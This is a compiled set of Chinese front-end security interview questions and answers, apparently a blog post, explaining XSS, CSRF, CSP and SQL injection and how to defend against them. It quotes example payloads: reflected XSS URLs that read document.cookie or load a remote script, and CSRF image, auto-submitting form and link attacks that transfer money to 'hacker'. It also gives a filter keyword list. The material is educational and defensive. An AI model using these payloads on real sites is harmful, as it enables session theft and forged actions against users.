以下题目是根据网上多份面经收集而来的，题目相同意味着被问的频率比较高，有问题欢迎留言讨论，喜欢可以点赞关注。
以下都是网上收集起来关于前端安全的面试题。主要会根据下面几个方面提问。
1、XSS与CSRF分别是什么，两者有什么联系，其他安全问题（csp sql）
2、XSS与CSRF原理、案例、形式、分类
3、如何防范XSS与CSRF（项目中如何处理安全问题）
4、其他常见web安全及防护原理
——————下面是网络收集的面试题—————
1、请解释XSS与CSRF分别是什么，两者有什么联系？如何防御？
XSS(cross-site scripting 跨域脚本攻击)，CSRF(Cross Site Request Forgery)跨站请求伪造
区别一：XSS：不需要登录。CSRF：需要用户先登录网站A，获取 cookie。
区别二（原理的区别）：XSS：是向网站 A 注入 JS代码，然后执行 JS 里的代码，篡改网站A的内容。CSRF：是利用网站A本身的漏洞，去请求网站A的api。
XSS：
建立可信任的字符和 HTML 标签白名单，对于不在白名单之列的字符或者标签进行过滤或编码。在 XSS 防御中，输入检查一般是检查用户输入的数据中是否包含 <，> 等特殊字符，如果存在，则对特殊字符进行过滤或编码，这种方式也称为 XSS Filter。
①编码：对敏感字符进行转义，才能进行下一步操作，<>、$、'等字符，alert、$
②过滤：onclick等事件、style、script节点、iframe节点
③HttpOnly 防止劫取 Cookie
HttpOnly 最早由微软提出，至今已经成为一个标准。浏览器将禁止页面的Javascript 访问带有 HttpOnly 属性的Cookie。这是本质上不是预防XSS，而是在被攻破时候不允许JS读取Cookie。
CSRF：
①同源检测（Origin 和 Referer 验证）
Referer标识当前请求的来源页面，浏览器访问时除了自动带上Cookie还会自动带上Referer，所以服务端可以检测Referer头是否本网站页面来决定是否响应请求。Referer是浏览器自动带上的，基于认为浏览器没有相关漏洞的前提下，我们可以认为攻击者是没法伪造Referer头的，也就是检测Referer头的方法是可靠的。但该方式有时会不受认可，一是因为浏览器是可以设置禁止发送Referer头的，如果使用该方式那么禁止Referer头的浏览将无法正常使用，这可能会降低用户使用体验。二是因为由于移动端的崛起当下流行前后端分离app和web共用一套后端代码，但app是不会自动带Referer头的，如果使用该方式app端不好处理。
②Token验证
token就是服务端返回给客户端类似sessionid那样一长串的类值（长是为了防暴力猜解）。csrf依赖于浏览器该问链接时自动对应网站的cookie带上，token不放cookie（一般form表单加个hidden属性的input标签来存放）csrf就没法获取token，这样我们就可以通过检测发送过来的数据包中是否有正确的token值来决定是否响应请求。在讲清token防御的原理后，我们再来讲token的设计，因为token方式给人的感觉很复杂令人望而生畏。我们首先明确一个问题，就是能够防止csrf攻击的token，并不需要每次请求都不一样，在用户登录后到退出前的这整个过程中的所有请求token完全可以是一样。因为（在基于没有其他漏洞会泄漏本次会话的token的设想下）黑客是无法获取用户的tokne，所以又何必每个请求都要生成一个新的token呢。（token每次请求都要不一样的想法是受防重放攻击的影响）只考滤防csrf不考滤防重放的情况下，token设计就简单多了。使用sessionid作为token设计：在csrf中cookie是浏览器自己带上的，本质而言用户的sessionid并未丢失（也就是攻击者并不能知道sessionid是多少），基于此我们完全可以不用另传一个值只需直接将sessionid作为token即可（或者也可以做些运算比如取sessionid的某些值做个md5来做为token，意思都差不多）。判断代码类似 if session["id"] == $_POST["token"]与sessionid同时返回的token设计：在生成sessionid的同时生成一个token（服务端token可以存于session变量中）返回给客户端，客户端保存该token每次请求时都在form表单中提交该值。判断代码类似if session["token"] == $_POST["token"]
③双重Cookie验证 以及配合Samesite Cookie。
利用CSRF攻击不能获取到用户Cookie的特点，我们可以要求Ajax和表单请求携带一个Cookie中的值。
上文有说到，攻击者可以通过注入恶意脚本利用 Cookie 信息。通常 Cookie 中都包含了用户的登录凭证信息，攻击者在获取到 Cookie 之后，则可以发起 Cookie 劫持攻击。所以，严格来说，HttpOnly 并非阻止 XSS 攻击，而是能阻止 XSS 攻击后的 Cookie 劫持攻击。
2、前端安全问题：CSRF和XSS
3、常见web安全及防护原理
4、项目中如何处理安全问题
5、xsrf跨域攻击的安全性问题怎么防范
6、对安全有什么了解
7、csrf跨站攻击怎么解决
8、XSS攻击的原理、分类、具体案例，前端如何防御
9、CSRF攻击的原理、具体案例，前端如何防御
https://blog.csdn.net/qq_41725536/article/details/85722124
XSS：
案例一：留言板的XSS攻击
我们有个页面用于允许用户发表留言，然后在页面底部显示留言列表，
因为我们完全信任了用户输入，但有些别有用心的用户会像这样的输入：
这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”，如果这只是个恶意的小玩笑，有些人做的事情就不可爱了，有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等，看个最简单的例子
案例二：窃取用户账号密码
CSRF：银行卡转账，微博发帖删帖等
10、HTTP劫持、页面劫持的原理、防御措施
11、csp 是什么，xss 与 csrf 是什么，原理以及预防
12、谈谈 XSS 防御，以及 Content-Security-Policy 细节
跨域脚本攻击（XSS）是最常见、危害最大的网页安全漏洞。为了防止它，要采取很多编程措施（比如大多数人都知道的转义、过滤HTML）。很多人提出，能不能根本上解决问题，即浏览器自动禁止外部注入恶意脚本？这就是"内容安全策略"（Content Security Policy，缩写 CSP）的由来。
两种方法可以启用 CSP：
1、设置 HTTP 的 Content-Security-Policy 头部字段
image.png
2、设置网页的<meta>标签。
https://www.jianshu.com/p/74ea9f0860d2
13、说一说 xss 攻击
https://juejin.im/post/5c97a086f265da6116246b30
14、xss几种形式,防范手段,过滤哪些字符?
验证文本框输入特殊字符,一般
"alert","eval","<script>"、<iframe>",,"<img>",<style>、"onload","onfocus","onerror","onclick","
15、xsrf原理,实例,防范手段(Laravel的token)
16、Sql注入
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。[1]比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。
17、前端恶意提交sql代码,来篡改服务端的sql执行代码
18、为什么会造成csrf攻击
19、localhost如何不被篡改
20、cookie是不能跨域访问的，为什么会有csrf攻击？
浏览器会依据加载的域名附带上对应域名cookie。就是如果用户在a网站登录且生成了授权的cookies，然后访问b网站，b站故意构造请求a站的请求，如删除操作之类的，用script，img或者iframe之类的加载a站着个地址，浏览器会附带上a站此登录用户的授权cookie信息，这样就构成crsf，会删除掉当前用户的数据。
一、XSS与CSRF分别是什么，两者有什么联系？
XSS(cross-site scripting 跨域脚本攻击)
XSS，即 Cross Site Script，中译是跨站脚本攻击；其原本缩写是 CSS，但为了和层叠样式表(Cascading Style Sheet)有所区分，因而在安全领域叫做 XSS。
CSRF(Cross Site Request Forgery)
CSRF，即 Cross Site Request Forgery，中译是跨站请求伪造，是一种劫持受信任用户向服务器发送非预期请求的攻击方式。
区别
区别一
XSS：不需要登录。
CSRF：需要用户先登录网站A，获取 cookie。
区别二（原理的区别）
XSS：是向网站 A 注入 JS代码，然后执行 JS 里的代码，篡改网站A的内容。
CSRF：是利用网站A本身的漏洞，去请求网站A的api。
2、XSS与CSRF原理、分类形式、案例
XSS原理
XSS 攻击是指攻击者在网站上注入恶意的客户端代码，通过恶意脚本对客户端网页进行篡改，从而在用户浏览网页时，对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。
攻击者对客户端网页注入的恶意脚本一般包括 JavaScript，有时也会包含 HTML 和 Flash，它会通过合法的操作（比如在url中输入、在评论框中输入）。最后导致的结果可能是：盗用Cookie破坏页面的正常结构，插入广告等恶意内容D-doss攻击
分类形式
反射型（非持久型）、存储型（持久型）、基于DOM
https://juejin.im/entry/5b4b56fd5188251b1a7b2ac1
1、反射型
发出请求时，XSS代码出现在url中，作为输入提交到服务器端，服务器端解析后响应，XSS代码随响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，所以叫反射型XSS。
2、存储型
储型XSS和反射型XSS的差别在于，提交的代码会存储在服务器端（数据库、内存、文件系统等），下次请求时目标页面时不用再提交XSS代码。
存储型 XSS 的攻击步骤
1、攻击者将恶意代码提交到目标网站的数据库中。
2、用户打开目标网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器。
3、用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4、恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。
反射型 XSS 跟存储型 XSS 的区别是：存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里。 反射型 XSS 漏洞常见于通过 URL 传递参数的功能，如网站搜索、跳转等。 由于需要用户主动打开恶意的 URL 才能生效，攻击者往往会结合多种手段诱导用户点击。 POST 的内容也可以触发反射型 XSS，只不过其触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见
3、基于DOM
DOM 型 XSS 的攻击步骤：
1、攻击者构造出特殊的 URL，其中包含恶意代码。
2、用户打开带有恶意代码的 URL。
3、用户浏览器接收到响应后解析执行，前端 JavaScript 取出 URL 中的恶意代码并执行。
4、恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。
案例
QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL，并引导用户去点击： http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
复制代码
浏览器接收到响应后就会执行 alert(document.cookie)，攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ，进而危害数据安全。
新浪微博名人堂反射型 XSS 漏洞
攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
于是攻击者构建出一个 URL，然后诱导用户去点击：
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
复制代码
浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上攻击 URL，诱导更多人点击，不断放大攻击范围。这种窃用受害者身份发布恶意内容，层层放大攻击范围的方式，被称为“XSS 蠕虫”。
CSRF原理
CSRF（Cross-site request forgery）跨站请求伪造：攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。
一个典型的CSRF攻击有着如下的流程：
- 受害者登录a.com，并保留了登录凭证（Cookie）。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求：a.com/act=xx。浏览器会…
- a.com接收到请求后，对请求进行验证，并确认是受害者的凭证，误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成，攻击者在受害者不知情的情况下，冒充受害者，让a.com执行了自己定义的操作。
分类
GET类型的CSRF
GET类型的CSRF利用非常简单，只需要一个HTTP请求，一般会这样利用：
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >
复制代码在受害者访问含有这个img的页面后，浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。
POST类型的CSRF
这种类型的CSRF利用起来通常使用的是一个自动提交的表单，如：
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
复制代码访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。
POST类型的攻击通常比GET要求更加严格一点，但仍并不复杂。任何个人网站、博客，被黑客上传页面的网站都有可能是发起攻击的来源，后端接口不能将安全寄托在仅允许POST上面。
链接类型的CSRF
链接类型的CSRF并不常见，比起其他两种用户打开页面就中招的情况，这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接，或者以广告的形式诱导用户中招，攻击者通常会以比较夸张的词语诱骗用户点击，例如：
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
重磅消息！！
<a/>
复制代码由于之前用户登录了信任的网站A，并且保存登录状态，只要用户主动访问上面的这个PHP页面，则表示攻击成功。
CSRF的特点
- 攻击一般发起在第三方网站，而不是被攻击的网站。被攻击的网站无法防止攻击发生。
- 攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作；而不是直接窃取数据。
- 整个过程攻击者并不能获取到受害者的登录凭证，仅仅是“冒用”。
- 跨站请求可以用各种方式：图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中，难以进行追踪。
CSRF通常是跨域的，因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能，比如可以发图和链接的论坛和评论区，攻击可以直接在本域下进行，而且这种攻击更加危险
3、如何防范XSS与CSRF（项目中如何处理安全问题）
xss
1、编码
对敏感字符进行转义，才能进行下一步操作
对用户输入的数据进行HTML Entity 编码。如上图所示，把字符转换成 转义字符。Encode的作用是将$var等一些字符进行转化，使得浏览器在最终输出结果上是一样的。比如说这段代码：<script>alert(1)</script>若不进行任何处理，则浏览器会执行alert的js操作，实现XSS注入。进行编码处理之后，L在浏览器中的显示结果是,<script>alert(1)</script>实现了将$var作为纯文本进行输出，且不引起JavaScript的执行。理论上只要有输入数据入口的地方，XSS漏洞就会存在，js代码可以由各种各样的模式注入到数据库中（明文或者编码），所以在中小项目中我们先明确一个意识即可，我们开发人员要有安全处理的意识，不求百分百的过滤掉非法字符，但是基本的，常见的过滤掉即可，剩下的就交给安全工程师去做吧。
HTML 转义是非常复杂的，在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则，很有可能会埋下 XSS 隐患。应当尽量避免自己写转义库，而应当采用成熟的、业界通用的转义库。
2、过滤
所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。
移除用户输入的和事件相关的属性。如onerror可以自动触发攻击，还有onclick等。（总而言是，过滤掉一些不安全的内容）移除用户输入的Style节点、Script节点、Iframe节点。（尤其是Script节点，它可是支持跨域的呀，一定要移除）。
3、校正
避免直接对HTML Entity进行解码。使用DOM Parse转换，校正不配对的DOM标签。备注：我们应该去了解一下DOM Parse这个概念，它的作用是把文本解析成DOM结构。比较常用的做法是，通过第一步的编码转成文本，然后第三步转成DOM对象，然后经过第二步的过滤。还有一种简洁的答案：首先是encode，如果是富文本，就白名单。
4、其他
HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。
验证码：防止脚本冒充用户提交危险操作。
总结
1、在 HTML 中内嵌的文本中，恶意内容以 script 标签形成注入。
2、在内联的 JavaScript 中，拼接的数据突破了原本的限制（字符串，变量，方法名等）。
3、在标签属性中，恶意内容包含引号，从而突破属性值的限制，注入其他属性或者标签。
4、在标签的 href、src 等属性中，包含 javascript: 等可执行代码。
5、在 onload、onerror、onclick 等事件中，注入不受控制代码。
6、在 style 属性和标签中，包含类似 background-image:url("javascript:..."); 的代码（新版本浏览器已经可以防范）。
7、在 style 属性和标签中，包含类似 expression(...) 的 CSS 表达式代码（新版本浏览器已经可以防范）。
总之，如果开发者没有将用户输入的文本进行合适的过滤，就贸然插入到 HTML 中，这很容易造成注入漏洞。攻击者可以利用漏洞，构造出恶意的代码指令，进而利用恶意代码危害数据安全。
CSRF如何防御
https://juejin.im/post/5bc009996fb9a05d0a055192
方法一、Token 验证：（用的最多）
（1）服务器发送给客户端一个token；
（2）客户端提交的表单中带着这个token。
（3）如果这个 token 不合法，那么服务器拒绝这个请求。
方法二：隐藏令牌：把 token 隐藏在 http 的 head头中。
方法二和方法一有点像，本质上没有太大区别，只是使用方式上有区别。
方法三、Referer 验证
Referer 指的是页面请求来源。意思是，只接受本站的请求，服务器才做响应；如果不是，就拦截。
（作用：可以在一定程度上防止CSRF攻击）
（缺陷：IE或低版本的浏览器中，Referer参数可以被伪造）
设置Referrer Policy的方法有三种：
1、在CSP设置
2、页面头部增加meta标签
3、a标签增加referrerpolicy属性
方法四、双重Cookie验证
在会话中存储CSRF Token比较繁琐，而且不能在通用的拦截上统一处理所有的接口。
那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点，我们可以要求Ajax和表单请求携带一个Cookie中的值。
双重Cookie采用以下流程：
总结
简单总结一下上文的防护策略：
CSRF自动防御策略：同源检测（Origin 和 Referer 验证）。
CSRF主动防御措施：Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。
保证页面的幂等性，后端接口不要在GET页面中做用户操作。
为了更好的防御CSRF，最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑，结合当前Web应用程序自身的情况做合适的选择，才能更好的预防CSRF的发生。
